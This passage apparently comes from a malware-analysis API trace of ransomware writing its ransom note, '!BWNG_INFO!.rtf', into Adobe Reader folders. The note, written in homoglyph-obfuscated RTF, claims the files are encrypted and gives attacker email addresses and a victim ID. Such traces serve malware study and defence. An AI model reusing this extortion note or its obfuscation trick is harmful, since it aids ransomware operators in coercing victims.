t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x2763ff8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n\x0f\x05\x0e\x8d\x1d¡øý\x03ø×=\n?\x06û\x1d÷A÷C÷+\x05Ø\\\x1dûN1\x03\x09", lpUsedDefaultChar=0x0) returned 14086 [0041.911] WriteFile (in: hFile=0x168, lpBuffer=0x2763ff8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0041.912] CloseHandle (hObject=0x168) returned 1 [0041.912] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\!bwng_info!.rtf")) returned 0xffffffff [0041.912] GetLastError () returned 0x2 [0041.912] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0041.913] 